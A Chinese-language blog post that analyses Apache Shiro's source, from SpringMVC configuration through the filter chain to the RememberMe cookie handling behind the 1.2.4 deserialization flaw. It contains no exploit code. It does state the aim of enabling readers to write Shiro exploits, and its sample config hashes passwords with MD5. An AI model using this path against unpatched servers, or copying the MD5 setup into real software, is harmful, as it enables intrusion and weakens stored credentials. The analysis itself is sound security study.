Apache Shiro is a powerful and easy-to-use Java security framework that performs authentication, authorization, cryptography, and session management. With Shiro’s easy-to-understand API, you can quickly and easily secure any application – from the smallest mobile applications to the largest web and enterprise applications.
Apache Shiro是一个功能强大且易于使用的Java安全框架,它执行身份验证、授权、加密和会话管理。通过Shiro易于理解的API,您可以快速、轻松地保护任何应用程序——从最小的移动应用程序到最大的web和企业应用程序。
Apache Shiro框架功能主要由以下几个部分组成:
一个包含如此多功能模块的框架,我一向认为其必然存在着我们发现和未发现的安全漏洞,而事实也是如此,早在Shiro 1.2.4版本前,就被暴露了Cryptography模块因为默认AES加密key导致Remember Me模块的反序列化漏洞,在其被修复(每次启动都生成一个新的AES加密key)的几年后,依然是这个地方,出现了令我万万没想到的Padding Oracle漏洞,我一直以为这样的漏洞也就CTF会出现,这个洞也警醒了我,CTF每一个知识点,在真实漏洞挖掘中,都非常重要。
而本篇文章,我将会用我一贯的源码浅析方式,对Apache Shiro的核心部分代码进行讲解,并且最后会以1.2.4版本的远古洞的触发原理,对源码进行深入的讲解,接着引出最新的Padding Oracle CBC Attack,从而让我们在看完这篇文章后,能熟悉的写出Shiro exploit,并对Shiro框架的主要原理聊熟于胸,还有最重要的一点是,现在网络上很多讲解漏洞的文章,都是简单的讲解漏洞,对这些框架的使用方法以及使用场景等都缺乏描述,对新手极度不友好,
在进行源码浅析之前,我们先了解一下Shiro如何在一个SpringMVC项目中简单的使用。
我曾经在做Java开发的时候,我有幸为几个系统加入过Shiro框架,也对其功能不足处进行了一些简单的定制修改。
曾经有个系统后台由于不满足等保要求,需要对其后台的登录验证进行重构,在其重构的过程中,我发现该后台只有单个硬编码的用户账号,而该账号被业务方大量的运营和开发人员使用,对于后台任何的配置和功能都能进行修改,这是一个极大的安全隐患,因此,我考虑在重构的后台系统中,加入了Shiro,为后台系统加入若干的特性,使其更加的安全坚固:
多用户支持 和 用户数据存库:原系统仅有单个硬编码账号,源码泄露将会导致账号密码泄露。而运营也是一个很大的不稳定因素,如果某个运营对一些关键配置进行了修改,将会威胁到系统的稳定运行。
权限精细化-粒度到页面按钮:前面也说了运营用户的潜在不稳定因素,所以加入了权限精细到页面按钮的的权限管理,可以控制每个运营人员具备的权限功能,对于一些涉及到系统安全的功能,我们就能更好的控制。
用户禁用:在后台系统中,我们会对每个账号的操作进行操作日志的持久化,如果我们发现某个账号进行了大量的敏感操作,存在安全风险,我们可以通过用户禁用功能对其账号进行快速的禁用。
以上就是我对Shiro使用的一些简单总结,除此以外,还有很多,比如我曾经在某个古老的项目中使用Shiro后,没办法通过注解方式对接口方法进行权限的控制,最后得益于Shiro优秀的设计,通过一些比较特殊的方法达到方法级的权限控制等。
在简述了我对Shiro的一些使用后,我们接下来就讲讲Shiro,如何去配置使用。
<dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-ehcache</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>net.sf.ehcache</groupId> <artifactId>ehcache-core</artifactId> <version>2.4.3</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.2.4</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.2.4</version> </dependency>
<!-- spring 配置-->
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:applicationContext.xml,classpath:spring-shiro.xml</param-value>
</context-param>
<servlet>
<servlet-name>spring</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-servlet.xml,classpath:spring-shiro.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>spring</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<!-- shiro的filter-->
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<!-- shiro的filter-mapping-->
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 开启shiro注解-->
<bean class="org.springframework.aop.framework.autoproxy.DefaultAdvisorAutoProxyCreator" depends-on="lifecycleBeanPostProcessor">
<property name="proxyTargetClass" value="true" />
</bean>
<bean class="org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor">
<property name="securityManager" ref="securityManager"/>
</bean>
<bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver">
<property name="maxUploadSize" value="#{10*1024*1024}"/>
<property name="maxInMemorySize" value="4096"/>
</bean>
<!-- 对应于web.xml中配置的那个shiroFilter -->
<bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean">
<!-- Shiro的核心安全接口,这个属性是必须的 -->
<property name="securityManager" ref="securityManager"/>
<!-- 要求登录时的链接(登录页面地址),非必须的属性,默认会自动寻找Web工程根目录下的"/login.jsp"页面 -->
<property name="loginUrl" value="/jsp/login.jsp"/>
<!-- 登录成功后要跳转的连接(本例中此属性用不到,因为登录成功后的处理逻辑在LoginController里硬编码) -->
<!-- <property name="successUrl" value="/" ></property> -->
<!-- 用户访问未对其授权的资源时,所显示的连接 -->
<property name="unauthorizedUrl" value="/html/error.html"/>
<property name="filterChainDefinitions">
<value>
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]
<!--/dologin=ssl-->
</value>
</property>
</bean>
<bean id="lifecycleBeanPostProcessor" class="org.apache.shiro.spring.LifecycleBeanPostProcessor"></bean>
<!-- 数据库保存的密码是使用MD5算法加密的,所以这里需要配置一个密码匹配对象 -->
<bean id="credentialsMatcher" class="org.apache.shiro.authc.credential.Md5CredentialsMatcher"></bean>
<!-- 缓存管理 -->
<bean id="shiroCacheManager" class="org.apache.shiro.cache.MemoryConstrainedCacheManager"></bean>
<!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 -->
<bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm">
<property name="credentialsMatcher" ref="credentialsMatcher"></property>
<property name="permissionsLookupEnabled" value="true"></property>
<property name="dataSource" ref="dataSource"></property>
<property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property>
<property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property>
<property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property>
</bean>
<!-- Shiro安全管理器 -->
<bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">
<property name="realm" ref="jdbcRealm"></property>
<property name="cacheManager" ref="shiroCacheManager"></property>
</bean>
</beans>
@Controller @SessionAttributes("user") public class LoginAndLogoutController { @Autowired private LoginAndLogoutService loginAndLogoutService; @RequestMapping(value = "/dologin",method = RequestMethod.POST) public String doLogin(User user, ModelMap model){ System.out.println("用户"+user.getLoginName()+"正在登录........!"); return loginAndLogoutService.doLogin(user,model); } @RequestMapping(value = "/dologout",method = RequestMethod.GET) public String doLogout(User user,ModelMap model){ System.out.println("用户"+user.getLoginName()+"正在注销........!"); return loginAndLogoutService.doLogout(model); } } @Service public class LoginAndLogoutService { @Autowired private ApplicationContext applicationContext; public String doLogin(User user, ModelMap model){ UsernamePasswordToken token = new UsernamePasswordToken(user.getLoginName(),user.getPasswd()); token.setRememberMe(true); Subject subject = SecurityUtils.getSubject(); String msg; try { subject.login(token); if (subject.isAuthenticated()) { System.out.println("登录成功!"); UserDao userDao = (UserDao) applicationContext.getBean("userDao"); List<User> users = userDao.getUserByLoginName(user); model.put("user", users.get(0)); if (subject.hasRole("admin")) { return "redirect:/html/admin/center.html"; } else { return "redirect:/html/user/center.html"; } } }catch (IncorrectCredentialsException e) { msg = "登录密码错误. Password for account " + token.getPrincipal() + " was incorrect."; model.addAttribute("message", msg); System.out.println(msg); } catch (ExcessiveAttemptsException e) { msg = "登录失败次数过多"; model.addAttribute("message", msg); System.out.println(msg); } catch (LockedAccountException e) { msg = "帐号已被锁定. The account for username " + token.getPrincipal() + " was locked."; model.addAttribute("message", msg); System.out.println(msg); } catch (DisabledAccountException e) { msg = "帐号已被禁用. The account for username " + token.getPrincipal() + " was disabled."; model.addAttribute("message", msg); System.out.println(msg); } catch (ExpiredCredentialsException e) { msg = "帐号已过期. the account for username " + token.getPrincipal() + " was expired."; model.addAttribute("message", msg); }catch (UnknownAccountException e) { msg = "帐号不存在. There is no user with username of " + token.getPrincipal(); model.addAttribute("message", msg); System.out.println(msg); } catch (UnauthorizedException e) { msg = "您没有得到相应的授权!" + e.getMessage(); model.addAttribute("message", msg); System.out.println(msg); } System.out.println("登录失败!"); return "/jsp/login.jsp"; } public String doLogout(ModelMap model){ Subject subject = SecurityUtils.getSubject(); subject.logout(); model.remove("user"); return "/jsp/login.jsp"; } }
以上便是SpringMVC web中Shiro简单使用的依赖、配置、接口等,通过其,我们就能畅快的使用shiro的各种特性和功能了。
回顾上面的Shiro的web配置,我们可以发现其中有一个filter的配置
<filter> <filter-name>shiroFilter</filter-name> <filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class> <init-param> <param-name>targetFilterLifecycle</param-name> <param-value>true</param-value> </init-param> </filter> <!-- shiro的filter-mapping--> <filter-mapping> <filter-name>shiroFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
从明面上我们只要写过Spring项目都不会陌生,filter注册了一个过滤器,而filter-mapping是对其filter访问过滤url的一个匹配配置,也就是说,上面的filter-mapping配置,规定了shiroFilter这个过滤器,将会过滤任何一个请求到该项目的http请求。
不过,这里还有一个重点,就是DelegatingFilterProxy这个利用了门面模式设计的一个class,它是一个filter的代理类,通过这个类可以代理一个spring容器管理的filter的生命周期,也就是说,可以在Spring容器中创建一个filter bean,然后注入一系列依赖,这个bean可以用代理的方式配置到web.xml中使用。
我们再看会前面的spring-shiro.xml文件,其中,我们配置了这样的一个bean
<!-- 对应于web.xml中配置的那个shiroFilter --> <bean id="shiroFilter" class="org.apache.shiro.spring.web.ShiroFilterFactoryBean"> <!-- Shiro的核心安全接口,这个属性是必须的 --> <property name="securityManager" ref="securityManager"/> <!-- 要求登录时的链接(登录页面地址),非必须的属性,默认会自动寻找Web工程根目录下的"/login.jsp"页面 --> <property name="loginUrl" value="/jsp/login.jsp"/> <!-- 登录成功后要跳转的连接(本例中此属性用不到,因为登录成功后的处理逻辑在LoginController里硬编码) --> <!-- <property name="successUrl" value="/" ></property> --> <!-- 用户访问未对其授权的资源时,所显示的连接 --> <property name="unauthorizedUrl" value="/html/error.html"/> <property name="filterChainDefinitions"> <value> /html/admin/**=authc,roles[admin] /html/user/**=user,roles[user] /jsp/admin/**=authc,roles[admin] /jsp/user/**=user,roles[user] <!--/dologin=ssl--> </value> </property> </bean>
可以看到,它的bean id和我们在web.xml配置的filter名称是一样的,也就是说,这个filter是它的代理门面类,在访问该web项目时的任何一个请求,都将被shiroFilter这个bean进行过滤。
那么,接下来我们打开org.apache.shiro.spring.web.ShiroFilterFactoryBean这个bean,因为他是一个FactoryBean,因此,在该类的bean真正被使用的时候,会调用其getObject()方法
/** * Lazily creates and returns a {@link AbstractShiroFilter} concrete instance via the * {@link #createInstance} method. * * @return the application's Shiro Filter instance used to filter incoming web requests. * @throws Exception if there is a problem creating the {@code Filter} instance. */ public Object getObject() throws Exception { if (instance == null) { instance = createInstance(); } return instance; }
看方法注释可以清楚的看到,这是一个懒加载的bean,当使用到它时,才会调用其getObject()方法,然后再该方法中,我们可以看到,通过createInstance()创建一个真正的实例作为该bean
protected AbstractShiroFilter createInstance() throws Exception { log.debug("Creating Shiro Filter instance."); SecurityManager securityManager = getSecurityManager(); if (securityManager == null) { String msg = "SecurityManager property must be set."; throw new BeanInitializationException(msg); } if (!(securityManager instanceof WebSecurityManager)) { String msg = "The security manager does not implement the WebSecurityManager interface."; throw new BeanInitializationException(msg); } FilterChainManager manager = createFilterChainManager(); //Expose the constructed FilterChainManager by first wrapping it in a // FilterChainResolver implementation. The AbstractShiroFilter implementations // do not know about FilterChainManagers - only resolvers: PathMatchingFilterChainResolver chainResolver = new PathMatchingFilterChainResolver(); chainResolver.setFilterChainManager(manager); //Now create a concrete ShiroFilter instance and apply the acquired SecurityManager and built //FilterChainResolver. It doesn't matter that the instance is an anonymous inner class //here - we're just using it because it is a concrete AbstractShiroFilter instance that accepts //injection of the SecurityManager and FilterChainResolver: return new SpringShiroFilter((WebSecurityManager) securityManager, chainResolver); }
回顾一开始我们在bean配置文件对ShiroFilterFactoryBean配置,SecurityManager我们配置的是org.apache.shiro.web.mgt.DefaultWebSecurityManager,一个默认的web安全管理器,这个web安全管理器配置了一个realm,该realm我们可以使用shiro包内置的jdbc快捷使用的org.apache.shiro.realm.jdbc.JdbcRealm,也可以我们自定义去实现登录验证和授权相关方法的realm,总的来说,通过web安全管理器,我们可以配置相关的登录验证和授权配置,这也是使用shiro中非常关键的一点。
<!-- 使用Shiro自带的JdbcRealm类 指定密码匹配所需要用到的加密对象 指定存储用户、角色、权限许可的数据源及相关查询语句 --> <bean id="jdbcRealm" class="org.apache.shiro.realm.jdbc.JdbcRealm"> <property name="credentialsMatcher" ref="credentialsMatcher"></property> <property name="permissionsLookupEnabled" value="true"></property> <property name="dataSource" ref="dataSource"></property> <property name="authenticationQuery" value="SELECT passwd FROM userTB WHERE login_name = ?"></property> <property name="userRolesQuery" value="SELECT role_name from userTB left join roleTB using(role_id) WHERE login_name = ?"></property> <property name="permissionsQuery" value="SELECT permission_name FROM permissionTB left join roleTB using(role_id) WHERE role_name = ?"></property> </bean> <!-- Shiro安全管理器 --> <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager"> <property name="realm" ref="jdbcRealm"></property> <property name="cacheManager" ref="shiroCacheManager"></property> </bean>
如果我们想要使用简洁预置的JdbcRealm,我们只要创建三个表(用户、角色、权限),并把相应的sql查询语句设置好,就能快速的使用Shiro的Jdbc持久化用户、角色、权限数据。
在createInstance()方法的一开始,就会对我们设置的web安全管理器进行校验,只有满足情况下,shiro的功能才能继续并正确使用。
接着,调用其createFilterChainManager()方法,创建一个过滤器链的管理器,它也是shiro中非常核心的部分,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,然后把它添加到我们要创建的过滤器链的管理器(FilterChainManager),在访问到符合规则配置的path时,就会到达我们添加的图形、短信验证码校验filter中。当然,除了图形、短信验证等逻辑外,我们一般给一些页面、接口,设置成游客可访问,或者登陆状态可访问,亦或者使用rememberMe功能(在用户Session过期后,可以通过Cookie的RememberMe进行重新免登陆认证)等等。
创建好FilterChainManager后,就会把它设置到一个新建的PathMatchingFilterChainResolver中,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求。
最后创建一个内部的静态类SpringShiroFilter返回,作为该工厂bean实际创建的bean对象。
我们进一步跟进createFilterChainManager()方法
protected FilterChainManager createFilterChainManager() { DefaultFilterChainManager manager = new DefaultFilterChainManager(); Map<String, Filter> defaultFilters = manager.getFilters(); //apply global settings if necessary: for (Filter filter : defaultFilters.values()) { applyGlobalPropertiesIfNecessary(filter); } //Apply the acquired and/or configured filters: Map<String, Filter> filters = getFilters(); if (!CollectionUtils.isEmpty(filters)) { for (Map.Entry<String, Filter> entry : filters.entrySet()) { String name = entry.getKey(); Filter filter = entry.getValue(); applyGlobalPropertiesIfNecessary(filter); if (filter instanceof Nameable) { ((Nameable) filter).setName(name); } //'init' argument is false, since Spring-configured filters should be initialized //in Spring (i.e. 'init-method=blah') or implement InitializingBean: manager.addFilter(name, filter, false); } } //build up the chains: Map<String, String> chains = getFilterChainDefinitionMap(); if (!CollectionUtils.isEmpty(chains)) { for (Map.Entry<String, String> entry : chains.entrySet()) { String url = entry.getKey(); String chainDefinition = entry.getValue(); manager.createChain(url, chainDefinition); } } return manager; }
可以看到在创建FilterChainManager的地方,可以分为三个创建步骤
DefaultFilterChainManager manager = new DefaultFilterChainManager(); Map<String, Filter> defaultFilters = manager.getFilters(); //apply global settings if necessary: for (Filter filter : defaultFilters.values()) { applyGlobalPropertiesIfNecessary(filter); }
private void applyGlobalPropertiesIfNecessary(Filter filter) { applyLoginUrlIfNecessary(filter); applySuccessUrlIfNecessary(filter); applyUnauthorizedUrlIfNecessary(filter); }
那默认自带的filter究竟有哪些呢?跟进DefaultFilterChainManager一探究竟
public DefaultFilterChainManager() { this.filters = new LinkedHashMap<String, Filter>(); this.filterChains = new LinkedHashMap<String, NamedFilterList>(); addDefaultFilters(false); }
protected void addDefaultFilters(boolean init) { for (DefaultFilter defaultFilter : DefaultFilter.values()) { addFilter(defaultFilter.name(), defaultFilter.newInstance(), init, false); } }
可以看见,其构造方法调用了addDefaultFilters方法,把DefaultFilter枚举类进行了遍历,然后添加到filter集合中
查看该枚举类,可以发现一共有11个预置的filter:
anon(AnonymousFilter.class), authc(FormAuthenticationFilter.class), authcBasic(BasicHttpAuthenticationFilter.class), logout(LogoutFilter.class), noSessionCreation(NoSessionCreationFilter.class), perms(PermissionsAuthorizationFilter.class), port(PortFilter.class), rest(HttpMethodPermissionFilter.class), roles(RolesAuthorizationFilter.class), ssl(SslFilter.class), user(UserFilter.class);
而其中,我们最常使用的大概是:
1. anon:无需登录认证即可访问
2. authc:需要登录认证才可访问
3. logout:注销filter
4. perms:具有特点权限授权才可访问
5. roles:某个角色才可访问
6. user:使用RememberMe
以上这些便是第一步所做的一切。
Map<String, Filter> filters = getFilters(); if (!CollectionUtils.isEmpty(filters)) { for (Map.Entry<String, Filter> entry : filters.entrySet()) { String name = entry.getKey(); Filter filter = entry.getValue(); applyGlobalPropertiesIfNecessary(filter); if (filter instanceof Nameable) { ((Nameable) filter).setName(name); } //'init' argument is false, since Spring-configured filters should be initialized //in Spring (i.e. 'init-method=blah') or implement InitializingBean: manager.addFilter(name, filter, false); } }
不像前面默认预置的filter,从枚举类遍历获取,我们添加或修改的filter,都是首先设置到ShiroFilterFactoryBean中的,所以会从其中读取所以我们需要添加、修改的filter出来,然后进行全局的配置设置
在这一处,我们添加或修改的filter,其实就如我们前面所讲的,我们一般在使用shiro的时候,如果我们要加入图形验证码、短信验证码等验证,都会通过filter的形式添加,这里面的filter就是这一步中遍历的filter了。
Map<String, String> chains = getFilterChainDefinitionMap(); if (!CollectionUtils.isEmpty(chains)) { for (Map.Entry<String, String> entry : chains.entrySet()) { String url = entry.getKey(); String chainDefinition = entry.getValue(); manager.createChain(url, chainDefinition); } }
可以看到,getFilterChainDefinitionMap()方法读取的集合,其实回顾到我们前面所描述的配置spring-shiro.xml中,可以看到,我们其实做了这样的一个配置
/html/admin/**=authc,roles[admin]
/html/user/**=user,roles[user]
/jsp/admin/**=authc,roles[admin]
/jsp/user/**=user,roles[user]
在第一步,就讲述了默认内置的filter具有哪些,以及一些常用的filter
可以看到,上面的四个FilterChainDefinition,都使用了最常用的filter
也就是说,过滤器链的创建,跟这个FilterChainDefinition紧密关联,对于每一个path的配置,都会创建一个相应的过滤器链
看到这里,应该还会有人问,什么是过滤器链?
在shiro中,过滤器链就是我们前面两个步骤中的过滤器组成的一条链,当一个符合路径规则的请求进来后,都需要通过其执行一系列的过滤。
回到createInstance()方法,我们继续跟到下一个,也就是我们之前所说的PathMatchingFilterChainResolver的创建,前面也讲过了,这个resolver的作用是在一个http请求进来时,用于提取http请求的path,然后匹配相应的FilterChains进行过滤请求,也就是说,我们前面根据配置创建的过滤器链,需要通过这个resolver,才能知道某个请求执行哪一个过滤器链,为了一究其匹配原理,我们跟进PathMatchingFilterChainResolver
审阅代码,可以看到一个关键的方法-getChain()
public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { FilterChainManager filterChainManager = getFilterChainManager(); if (!filterChainManager.hasChains()) { return null; } String requestURI = getPathWithinApplication(request); //the 'chain names' in this implementation are actually path patterns defined by the user. We just use them //as the chain name for the FilterChainManager's requirements for (String pathPattern : filterChainManager.getChainNames()) { // If the path does match, then pass on to the subclass implementation for specific checks: if (pathMatches(pathPattern, requestURI)) { if (log.isTraceEnabled()) { log.trace("Matched path pattern [" + pathPattern + "] for requestURI [" + requestURI + "]. " + "Utilizing corresponding filter chain..."); } return filterChainManager.proxy(originalChain, pathPattern); } } return null; }
这个方法主要做了三件事情:
而上面第三件事情,就是PathMatchingFilterChainResolver的核心,它通过遍历我们前面创建的所有filter chains,回顾前面我们对FilterChainDefinition的配置,它的URL都是一个正则的匹配字符串,也就是说,通过它去正则匹配当前请求的URL,只要能匹配上的第一个filter chain,就是所要执行的过滤器链。
在PathMatchingFilterChainResolver创建成功后,最后会把我们所创建的SecurityManager和PathMatchingFilterChainResolver,参与到SpringShiroFilter的实例化中来,并作为真正的ShiroFilterFactoryBean返回。
SpringShiroFilter是ShiroFilterFactoryBean的一个静态内部类,它通过继承AbstractShiroFilter来实现shiro的核心功能(过滤请求)
private static final class SpringShiroFilter extends AbstractShiroFilter {
//...
}
先上跟进AbstractShiroFilter以及其父类OncePerRequestFilter,并继续向上跟进源码,我们可以发现,最早它们都实现了javax.servlet.Filter,所以表明它们就是一个不折不扣的过滤器,查看OncePerRequestFilter的源码也能发现其对doFilter()方法的实现,看到这里,大家也会很清晰了,这个filter在请求进来的时候,通过过滤器肯定是会执行到这个方法
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { log.trace("Filter '{}' already executed. Proceeding without invoking this filter.", getName()); filterChain.doFilter(request, response); } else //noinspection deprecation if (/* added in 1.2: */ !isEnabled(request, response) || /* retain backwards compatibility: */ shouldNotFilter(request) ) { log.debug("Filter '{}' is not enabled for the current request. Proceeding without invoking this filter.", getName()); filterChain.doFilter(request, response); } else { // Do invoke this filter... log.trace("Filter '{}' not yet executed. Executing now.", getName()); request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); try { doFilterInternal(request, response, filterChain); } finally { // Once the request has finished, we're done and we don't // need to mark as 'already filtered' any more. request.removeAttribute(alreadyFilteredAttributeName); } } }
在正常使用情况下,基本都是执行到doFilterInternal()方法,在跟进它的源码可以发现,它是一个抽象方法,因为OncePerRequestFilter是一个抽象类
protected abstract void doFilterInternal(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException;
既然这是个抽象类,那么大概这个方法的实现是在其子类里了,果不其然,在其子类AbstractShiroFilter中
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain); final ServletResponse response = prepareServletResponse(request, servletResponse, chain); final Subject subject = createSubject(request, response); //noinspection unchecked subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null; } }); } catch (ExecutionException ex) { t = ex.getCause(); } catch (Throwable throwable) { t = throwable; } if (t != null) { if (t instanceof ServletException) { throw (ServletException) t; } if (t instanceof IOException) { throw (IOException) t; } //otherwise it's not one of the two exceptions expected by the filter method signature - wrap it in one: String msg = "Filtered request failed."; throw new ServletException(msg, t); } }
这个方法,我总结一下,主要做了两件总要的事情:
那么我们一一跟进去,看看它们到底是如何工作的。
跟进createSubject()方法
protected WebSubject createSubject(ServletRequest request, ServletResponse response) { return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject(); }
它通过了WebSubject的Builder,使用了创建者模式去创建这一个Subject的实现WebSubject
继续跟进buildWebSubject()方法
public WebSubject buildWebSubject() { Subject subject = super.buildSubject(); if (!(subject instanceof WebSubject)) { String msg = "Subject implementation returned from the SecurityManager was not a " + WebSubject.class.getName() + " implementation. Please ensure a Web-enabled SecurityManager " + "has been configured and made available to this builder."; throw new IllegalStateException(msg); } return (WebSubject) subject; }
Subject->buildSubject
public Subject buildSubject() { return this.securityManager.createSubject(this.subjectContext); }
最终可以发现,是通过我们配置的web安全管理器(WebSecurityManager)来创建Subject的
public Subject createSubject(SubjectContext subjectContext) { //create a copy so we don't modify the argument's backing map: SubjectContext context = copy(subjectContext); //ensure that the context has a SecurityManager instance, and if not, add one: context = ensureSecurityManager(context); //Resolve an associated Session (usually based on a referenced session ID), and place it in the context before //sending to the SubjectFactory. The SubjectFactory should not need to know how to acquire sessions as the //process is often environment specific - better to shield the SF from these details: context = resolveSession(context); //Similarly, the SubjectFactory should not require any concept of RememberMe - translate that here first //if possible before handing off to the SubjectFactory: context = resolvePrincipals(context); Subject subject = doCreateSubject(context); //save this subject for future reference if necessary: //(this is needed here in case rememberMe principals were resolved and they need to be stored in the //session, so we don't constantly rehydrate the rememberMe PrincipalCollection on every operation). //Added in 1.2: save(subject); return subject; }
对SubjectContext的一个简单复制,因为每次请求都应有它自己的一个上下文,不应该混合,所以每次请求,都会通过它去复制一个SubjectContext用于本次请求
把安全管理器设置到SubjectContext中
通过上下文中存储的session id,去会话管理器,回顾我们前面的配置,可以知道是一个ehcache的会话管理器,意味着,我们得回话都是存储在缓存中的,使用ehcache可以更方便的进行集群部署,以同步回话数据
这个是RememberMe的核心处,也是我们后面要详细讲的地方
根据前面做的事情,在这一步创建Subject
把Subject保存到Session中
上面几点就是createSubject()方法逻辑的大概总结
接下来我们进一步去分析RememberMe模块的逻辑,跟进resolvePrincipals()方法
protected SubjectContext resolvePrincipals(SubjectContext context) { PrincipalCollection principals = context.resolvePrincipals(); if (isEmpty(principals)) { log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity."); principals = getRememberedIdentity(context); if (!isEmpty(principals)) { log.debug("Found remembered PrincipalCollection. Adding to the context to be used " + "for subject construction by the SubjectFactory."); context.setPrincipals(principals); } else { log.trace("No remembered identity found. Returning original context."); } } return context; }
此处可以看到,是从上下文解析出凭证信息PrincipalCollection,如果获取不到,就会调用getRememberedIdentity()方法获取,最后设置到上下文中
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager(); if (rmm != null) { try { return rmm.getRememberedPrincipals(subjectContext); } catch (Exception e) { if (log.isWarnEnabled()) { String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() + "] threw an exception during getRememberedPrincipals()."; log.warn(msg, e); } } } return null; } public RememberMeManager getRememberMeManager() { return rememberMeManager; }
回顾前面的安全管理器的bean配置,我们可以清楚的记得其实现class是org.apache.shiro.web.mgt.DefaultWebSecurityManager,也就是当前类DefaultSecurityManager的子类
我们观察该子类的构造方法
public DefaultWebSecurityManager() { super(); DefaultWebSessionStorageEvaluator webEvalutator = new DefaultWebSessionStorageEvaluator(); ((DefaultSubjectDAO) this.subjectDAO).setSessionStorageEvaluator(webEvalutator); this.sessionMode = HTTP_SESSION_MODE; setSubjectFactory(new DefaultWebSubjectFactory()); setRememberMeManager(new CookieRememberMeManager()); setSessionManager(new ServletContainerSessionManager()); webEvalutator.setSessionManager(getSessionManager()); }
从构造方法可以很清楚的了解到,RememberMeManager的实现为CookieRememberMeManager
那么,我们继续跟进到getRememberedPrincipals()方法中来
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
其中,主要就是两个点
那么,聪明的人就会发现,如果我们可以控制解密后的明文,我们就可以实现反序列化RCE了
前面讲到了RememberMe这个点,接着,我们跟进1.2.4这个shiro版本的源码,去分析一下这个远古洞产生的原因吧。
RememberMeManager的实现为CookieRememberMeManager,我们延续上一章,跟进其源码getRememberedPrincipals()方法实现,可以发现,CookieRememberMeManager并没有其实现方法,在向上跟踪时发现,它是继承了org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals,所以我们跟进到AbstractRememberMeManager的getRememberedPrincipals()方法实现
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
而getRememberedSerializedIdentity()抽象方法由其子类CookieRememberMeManager实现
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { //... String base64 = getCookie().readValue(request, response); // Browsers do not always remove cookies immediately (SHIRO-183) // ignore cookies that are scheduled for removal if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null; if (base64 != null) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]"); } byte[] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes."); } return decoded; } else { //no cookie set - new site visitor? return null; } }
